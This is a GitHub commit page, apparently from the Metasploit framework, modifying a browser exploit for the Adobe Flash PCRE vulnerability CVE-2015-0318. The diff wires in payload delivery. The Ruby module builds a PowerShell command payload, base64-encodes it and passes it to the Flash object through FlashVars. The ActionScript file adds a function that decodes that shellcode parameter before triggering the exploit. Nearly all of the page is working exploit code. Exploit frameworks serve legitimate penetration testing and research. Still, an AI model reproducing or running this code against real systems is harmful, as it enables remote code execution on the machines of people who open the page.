Skip to content

Commit 43b9061

Browse files
committed
Temp
1 parent 2a9d6e6 commit 43b9061

File tree

3 files changed

+24
-6
lines changed

3 files changed

+24
-6
lines changed

data/exploits/CVE-2015-0318/Main.swf

94 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-0318/Main.as

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package
33
import flash.display.*;
44
import flash.utils.ByteArray;
55
import flash.external.ExternalInterface;
6+
import mx.utils.Base64Decoder;
67

78
public class Main extends Sprite
89
{
@@ -408,6 +409,16 @@ package
408409

409410
return 0;
410411
}
412+
413+
public function GetShellcodeParam():String {
414+
var b64:Base64Decoder = new Base64Decoder();
415+
var payload:String = "";
416+
Alert("Gonna decode");
417+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh);
418+
Alert("Finished Decode");
419+
payload = b64.toByteArray().toString();
420+
return payload;
421+
}
411422

412423
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
413424

@@ -463,7 +474,11 @@ package
463474
}
464475

465476
public function Main() {
466-
477+
Alert("1");
478+
var sh:String = GetShellcodeParam();
479+
Alert("2");
480+
Debug("Shellcoe: " + sh.toString());
481+
467482
i = 0;
468483

469484
Initialise();

modules/exploits/windows/browser/adobe_flash_pcre.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
1212

13+
include Msf::Exploit::Powershell
1314
include Msf::Exploit::Remote::BrowserExploitServer
1415

1516
def initialize(info={})
@@ -82,25 +83,27 @@ def on_request_exploit(cli, request, target_info)
8283
def exploit_template(cli, target_info)
8384

8485
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
85-
#shellcode = get_payload(cli, target_info).unpack("H*")[0]
86+
target_payload = get_payload(cli, target_info)
87+
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
88+
b64_payload = Rex::Text.encode_base64(psh_payload)
8689

8790
html_template = %Q|<html>
8891
<body>
8992
<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
9093
<param name="movie" value="<%=swf_random%>" />
9194
<param name="allowScriptAccess" value="always" />
92-
<param name="FlashVars" value="" />
95+
<param name="FlashVars" value="sh=<%=b64_payload%>" />
9396
<param name="Play" value="true" />
94-
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="" Play="true"/>
97+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
9598
</object>
9699
97100
<script>
98101
function debug_alert(msg) {
99-
alert(msg);
102+
console.log(msg);
100103
}
101104
102105
function debug_print(msg) {
103-
alert(msg);
106+
console.log(msg);
104107
}
105108
</script>
106109
</body>

0 commit comments

Comments
 (0)